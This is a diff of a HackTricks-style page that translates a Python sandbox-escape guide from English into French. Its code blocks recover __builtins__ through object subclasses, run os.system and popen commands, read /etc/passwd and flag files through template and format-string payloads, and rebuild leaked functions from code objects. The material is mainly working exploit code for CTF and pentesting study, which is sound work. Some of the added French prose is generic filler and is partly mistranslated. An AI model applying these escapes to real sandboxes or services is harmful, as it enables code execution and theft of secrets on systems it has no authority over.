arbitraire**. -When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** (like `open`, `import`, `print`...) **aren't loaded**.\ -However, **by default python imports a lot of modules in memory**. These modules may seem benign, but some of them are **also importing dangerous** functionalities inside of them that can be accessed to gain even **arbitrary code execution**. - -In the following examples you can observe how to **abuse** some of this "**benign**" modules loaded to **access** **dangerous** **functionalities** inside of them. +Dans les exemples suivants, vous pouvez observer comment **abuser** de certains de ces modules "**bénins**" chargés pour **accéder** à des **fonctionnalités dangereuses** à l'intérieur d'eux. **Python2** - ```python #Try to reload __builtins__ reload(__builtins__) @@ -397,9 +470,9 @@ import __builtin__ # Or you could obtain the builtins from a defined function get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ``` - #### Python3 +Python3 ```python # Obtain builtins from a globally defined function # https://docs.python.org/3/library/functions.html @@ -414,19 +487,31 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` +[**Ci-dessous se trouve une fonction plus grande**](./#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **emplacements** où vous pouvez trouver les **builtins**. -[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **builtins**. - -#### Python2 and Python3 - +#### Python2 et Python3 ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` +### Charges utiles Builtins -### Builtins payloads +Les charges utiles Builtins sont des charges utiles qui exploitent les fonctions intégrées de Python pour contourner les sandbox Python. Les fonctions intégrées sont des fonctions qui sont disponibles dans l'espace de noms global de Python sans avoir besoin d'importer un module. Les charges utiles Builtins peuvent être utilisées pour accéder à des objets et des fonctions qui sont normalement restreints dans un environnement sandboxé. +Voici quelques exemples de charges utiles Builtins : + +- `__import__` : Cette fonction permet d'importer des modules en utilisant une chaîne de caractères comme nom de module. Elle peut être utilisée pour importer des modules qui ne sont normalement pas autorisés dans un environnement sandboxé. + +- `eval` : Cette fonction permet d'évaluer une chaîne de caractères comme une expression Python. Elle peut être utilisée pour exécuter du code Python qui est normalement restreint dans un environnement sandboxé. + +- `exec` : Cette fonction permet d'exécuter une chaîne de caractères comme du code Python. Elle peut être utilisée pour exécuter du code Python qui est normalement restreint dans un environnement sandboxé. + +- `getattr` : Cette fonction permet d'obtenir la valeur d'un attribut d'un objet en utilisant une chaîne de caractères comme nom d'attribut. Elle peut être utilisée pour accéder à des objets qui sont normalement restreints dans un environnement sandboxé. + +- `globals` : Cette fonction renvoie un dictionnaire contenant les variables globales de l'espace de noms global. Elle peut être utilisée pour accéder à des variables qui sont normalement restreintes dans un environnement sandboxé. + +- `locals` : Cette fonction renvoie un dictionnaire contenant les variables locales de la fonction appelante. Elle peut être utilisée pour accéder à des variables qui sont normalement restreintes dans un environnement sandboxé. ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() @@ -434,11 +519,9 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` +## Globals et locals -## Globals and locals - -Checking the **`globals`** and **`locals`** is a good way to know what you can access. - +Vérifier les **`globals`** et les **`locals`** est une bonne façon de savoir à quoi vous pouvez accéder. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -462,17 +545,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` +[**Ci-dessous se trouve une fonction plus grande**](./#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **emplacements** où vous pouvez trouver les **globals**. -[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**. +## Découvrir l'exécution arbitraire -## Discover Arbitrary Execution +Ici, je vais expliquer comment découvrir facilement les **fonctionnalités plus dangereuses chargées** et proposer des exploits plus fiables. -Here I want to explain how to easily discover **more dangerous functionalities loaded** and propose more reliable exploits. - -#### Accessing subclasses with bypasses - -One of the most sensitive parts of this technique is being able to **access the base subclasses**. In the previous examples this was done using `''.__class__.__base__.__subclasses__()` but there are **other possible ways**: +#### Accéder aux sous-classes avec des contournements +L'une des parties les plus sensibles de cette technique est de pouvoir **accéder aux sous-classes de base**. Dans les exemples précédents, cela a été fait en utilisant `''.__class__.__base__.__subclasses__()`, mais il existe **d'autres moyens possibles** : ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -497,24 +578,18 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` +### Trouver les bibliothèques dangereuses chargées -### Finding dangerous libraries loaded - -For example, knowing that with the library **`sys`** it's possible to **import arbitrary libraries**, you can search for all the **modules loaded that have imported sys inside of them**: - +Par exemple, sachant qu'avec la bibliothèque **`sys`** il est possible d'**importer des bibliothèques arbitraires**, vous pouvez rechercher tous les **modules chargés qui ont importé sys à l'intérieur d'eux**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` - -There are a lot, and **we just need one** to execute commands: - +Il y en a beaucoup, et **nous n'en avons besoin que d'un seul** pour exécuter des commandes: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` - -We can do the same thing with **other libraries** that we know can be used to **execute commands**: - +Nous pouvons faire la même chose avec **d'autres bibliothèques** que nous savons pouvoir être utilisées pour **exécuter des commandes** : ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -549,9 +624,7 @@ We can do the same thing with **other libraries** that we know can be used to ** #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` - -Moreover, we could even search which modules are loading malicious libraries: - +De plus, nous pourrions même rechercher quels modules chargent des bibliothèques malveillantes: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: @@ -570,9 +643,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` - -Moreover, if you think **other libraries** may be able to **invoke functions to execute commands**, we can also **filter by functions names** inside the possible libraries: - +De plus, si vous pensez que d'autres bibliothèques peuvent être en mesure d'appeler des fonctions pour exécuter des commandes, vous pouvez également filtrer par noms de fonctions à l'intérieur des bibliothèques possibles : ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -605,13 +676,11 @@ execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` - -## Recursive Search of Builtins, Globals... +## Recherche récursive de Builtins, Globals... {% hint style="warning" %} -This is just **awesome**. If you are **looking for an object like globals, builtins, open or anything** just use this script to **recursively find places where you can find that object.** +C'est tout simplement **impressionnant**. Si vous **cherchez un objet comme globals, builtins, open ou autre chose**, utilisez simplement ce script pour **rechercher de manière récursive les endroits où vous pouvez trouver cet objet.** {% endhint %} - ```python import os, sys # Import these to find more gadgets @@ -727,8 +796,7 @@ def main(): if __name__ == "__main__": main() ``` - -You can check the output of this script on this page: +Vous pouvez vérifier la sortie de ce script sur cette page : {% content-ref url="output-searching-python-internals.md" %} [output-searching-python-internals.md](output-searching-python-internals.md) @@ -737,20 +805,19 @@ You can check the output of this script on this page: ![](<../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Python Format String +## Chaîne de formatage Python -If you **send** a **string** to python that is going to be **formatted**, you can use `{}` to access **python internal information.** You can use the previous examples to access globals or builtins for example. +Si vous **envoyez** une **chaîne** à Python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder aux **informations internes de Python**. Vous pouvez utiliser les exemples précédents pour accéder aux globales ou aux fonctions intégrées, par exemple. {% hint style="info" %} -However, there is a **limitation**, you can only use the symbols `.[]`, so you **won't be able to execute arbitrary code**, just to read information.\ -_**If you know how to execute code through this vulnerability, please contact me.**_ +Cependant, il y a une **limitation**, vous ne pouvez utiliser que les symboles `.[]`, donc vous **ne pourrez pas exécuter de code arbitraire**, juste lire des informations.\ +_**Si vous savez comment exécuter du code via cette vulnérabilité, veuillez me contacter.**_ {% endhint %} - ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -770,20 +837,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` +Notez comment vous pouvez **accéder aux attributs** normalement avec un **point** comme `people_obj.__init__` et aux **éléments de dictionnaire** avec des **parenthèses** sans guillemets `__globals__[CONFIG]`. -Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]` - -Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` - -Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively: +Notez également que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +D'autres caractéristiques intéressantes des chaînes de format sont la possibilité d'**exécuter** les **fonctions** **`str`**, **`repr`** et **`ascii`** dans l'objet indiqué en ajoutant **`!s`**, **`!r`**, **`!a`** respectivement: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` - -Moreover, it's possible to **code new formatters** in classes: - +De plus, il est possible de **coder de nouveaux formateurs** dans des classes: ```python class HAL9000(object): def __format__(self, format): @@ -794,11 +857,9 @@ class HAL9000(object): '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` +**Plus d'exemples** sur les **chaînes de format** peuvent être trouvés sur [**https://pyformat.info/**](https://pyformat.info) -**More examples** about **format** **string** examples can be found in [**https://pyformat.info/**](https://pyformat.info) - -### Sensitive Information Disclosure Payloads - +### Charges utiles de divulgation d'informations sensibles ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -809,17 +870,15 @@ class HAL9000(object): # Access an element through several links {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} ``` - -## Dissecting Python Objects +## Disséquer les objets Python {% hint style="info" %} -If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +Si vous voulez **apprendre** en profondeur sur le **bytecode Python**, lisez ce **post génial** sur le sujet: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) {% endhint %} -In some CTFs you could be provided with the name of a **custom function where the flag** resides and you need to see the **internals** of the **function** to extract it. - -This is the function to inspect: +Dans certains CTF, vous pouvez être fourni avec le nom d'une **fonction personnalisée où se trouve le drapeau** et vous devez voir les **internes** de la **fonction** pour l'extraire. +Voici la fonction à inspecter: ```python def get_flag(some_input): var1=1 @@ -830,20 +889,20 @@ def get_flag(some_input): else: return "Nope" ``` - #### dir +La fonction `dir()` est utilisée pour retourner une liste contenant les noms des attributs et des méthodes d'un objet. Elle peut être utilisée pour explorer les fonctionnalités d'un objet et pour déterminer comment l'utiliser. + +Par exemple, si vous voulez savoir quelles sont les méthodes disponibles pour un objet `foo`, vous pouvez utiliser `dir(foo)` pour obtenir une liste des noms de méthodes. ```python dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ``` - #### globals -`__globals__` and `func_globals`(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared: - +`__globals__` et `func_globals` (identiques) obtiennent l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, certaines variables globales et leur contenu déclaré : ```python get_flag.func_globals get_flag.__globals__ @@ -852,13 +911,11 @@ get_flag.__globals__ #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` +[**Voir ici plus d'endroits pour obtenir des globales**](./#globals-and-locals) -[**See here more places to obtain globals**](./#globals-and-locals) - -### **Accessing the function code** - -**`__code__`** and `func_code`: You can **access** this **attribute** of the function to **obtain the code object** of the function. +### **Accéder au code de la fonction** +**`__code__`** et `func_code`: Vous pouvez **accéder** à cet **attribut** de la fonction pour **obtenir l'objet de code** de la fonction. ```python # In our current example get_flag.__code__ @@ -872,9 +929,7 @@ compile("print(5)", "", "single") dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` - -### Getting Code Information - +### Obtenir des informations sur le code ```python # Another example s = ''' @@ -920,9 +975,45 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` +### **Désassembler une fonction** -### **Disassembly a function** +La désassemblage d'une fonction consiste à convertir le code binaire de la fonction en code assembleur lisible par l'homme. Cela peut être utile pour comprendre comment une fonction fonctionne ou pour trouver des vulnérabilités dans le code. Pour désassembler une fonction en Python, vous pouvez utiliser la bibliothèque `dis`. Voici un exemple de code qui désassemble une fonction nommée `my_function` : +```python +import dis + +def my_function(): + x = 1 + y = 2 + z = x + y + print(z) + +dis.dis(my_function) +``` + +Cela produira une sortie qui ressemble à ceci : + +``` + 4 0 LOAD_CONST 1 (1) + 2 STORE_FAST 0 (x) + + 5 4 LOAD_CONST 2 (2) + 6 STORE_FAST 1 (y) + + 6 8 LOAD_FAST 0 (x) + 10 LOAD_FAST 1 (y) + 12 BINARY_ADD + 14 STORE_FAST 2 (z) + + 7 16 LOAD_GLOBAL 0 (print) + 18 LOAD_FAST 2 (z) + 20 CALL_FUNCTION 1 (1 positional, 0 keyword pair) + 22 POP_TOP + 24 LOAD_CONST 0 (None) + 26 RETURN_VALUE +``` + +Cela montre le code assembleur pour chaque instruction dans la fonction `my_function`. ```python import dis dis.dis(get_flag) @@ -950,9 +1041,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` - -Notice that **if you cannot import `dis` in the python sandbox** you can obtain the **bytecode** of the function (`get_flag.func_code.co_code`) and **disassemble** it locally. You won't see the content of the variables being loaded (`LOAD_CONST`) but you can guess them from (`get_flag.func_code.co_consts`) because `LOAD_CONST`also tells the offset of the variable being loaded. - +Notez que **si vous ne pouvez pas importer `dis` dans le sandbox python**, vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et le **désassembler** localement. Vous ne verrez pas le contenu des variables chargées (`LOAD_CONST`) mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) car `LOAD_CONST` indique également le décalage de la variable chargée. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -974,12 +1063,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` +## Compilation de Python -## Compiling Python - -Now, let us imagine that somehow you can **dump the information about a function that you cannot execute** but you **need** to **execute** it.\ -Like in the following example, you **can access the code object** of that function, but just reading the disassemble you **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_) - +Maintenant, imaginons que vous puissiez somehow **extraire les informations sur une fonction que vous ne pouvez pas exécuter** mais que vous **devez exécuter**.\ +Comme dans l'exemple suivant, vous **pouvez accéder à l'objet code** de cette fonction, mais en lisant simplement le désassemblage, vous **ne savez pas comment calculer le flag** (_imaginez une fonction `calc_flag` plus complexe_). ```python def get_flag(some_input): var1=1 @@ -992,11 +1079,9 @@ def get_flag(some_input): else: return "Nope" ``` +### Création de l'objet code -### Creating the code object - -First of all, we need to know **how to create and execute a code object** so we can create one to execute our function leaked: - +Tout d'abord, nous devons savoir **comment créer et exécuter un objet code** afin de pouvoir en créer un pour exécuter notre fonction leakée : ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -1015,10 +1100,8 @@ mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` - {% hint style="info" %} -Depending on the python version the **parameters** of `code_type` may have a **different order**. The best way to know the order of the params in the python version you are running is to run: - +En fonction de la version de Python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des paramètres dans la version de Python que vous utilisez est de l'exécuter : ``` import types types.CodeType.__doc__ @@ -1026,12 +1109,11 @@ types.CodeType.__doc__ ``` {% endhint %} -### Recreating a leaked function +### Recréer une fonction divulguée {% hint style="warning" %} -In the following example, we are going to take all the data needed to recreate the function from the function code object directly. In a **real example**, all the **values** to execute the function **`code_type`** is what **you will need to leak**. +Dans l'exemple suivant, nous allons prendre toutes les données nécessaires pour recréer la fonction à partir de l'objet de code de fonction directement. Dans un **exemple réel**, toutes les **valeurs** pour exécuter la fonction **`code_type`** sont ce dont **vous aurez besoin de divulguer**. {% endhint %} - ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -1042,14 +1124,12 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` +### Contourner les défenses -### Bypass Defenses - -In previous examples at the beginning of this post, you can see **how to execute any python code using the `compile` function**. This is interesting because you can **execute whole scripts** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\ -Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF). - -For example, let's compile and execute manually a function that reads _./poc.py_: +Dans les exemples précédents au début de ce post, vous pouvez voir **comment exécuter n'importe quel code Python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout en **une seule ligne** (et nous pourrions faire la même chose en utilisant **`exec`**).\ +De toute façon, parfois il peut être utile de **créer** un **objet compilé** sur une machine locale et de l'exécuter sur la machine du **CTF** (par exemple parce que nous n'avons pas la fonction `compiled` dans le CTF). +Par exemple, compilons et exécutons manuellement une fonction qui lit _./poc.py_: ```python #Locally def read(): @@ -1076,9 +1156,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` - -If you cannot access `eval` or `exec` you could create a **proper function**, but calling it directly is usually going to fail with: _constructor not accessible in restricted mode_. So you need a **function not in the restricted environment to call this function.** - +Si vous ne pouvez pas accéder à `eval` ou `exec`, vous pouvez créer une **fonction appropriée**, mais l'appeler directement échouera généralement avec le message : _constructeur non accessible en mode restreint_. Vous avez donc besoin d'une **fonction qui n'est pas dans l'environnement restreint pour appeler cette fonction.** ```python #Compile a regular print ftype = type(lambda: None) @@ -1086,12 +1164,11 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` +## Décompilation de Python compilé -## Decompiling Compiled Python +En utilisant des outils tels que [**https://www.decompiler.com/**](https://www.decompiler.com), on peut **décompiler** le code Python compilé donné. -Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code. - -**Check out this tutorial**: +**Consultez ce tutoriel**: {% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %} [.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) @@ -1101,9 +1178,8 @@ Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) o ### Assert -Python executed with optimizations with the param `-O` will remove asset statements and any code conditional 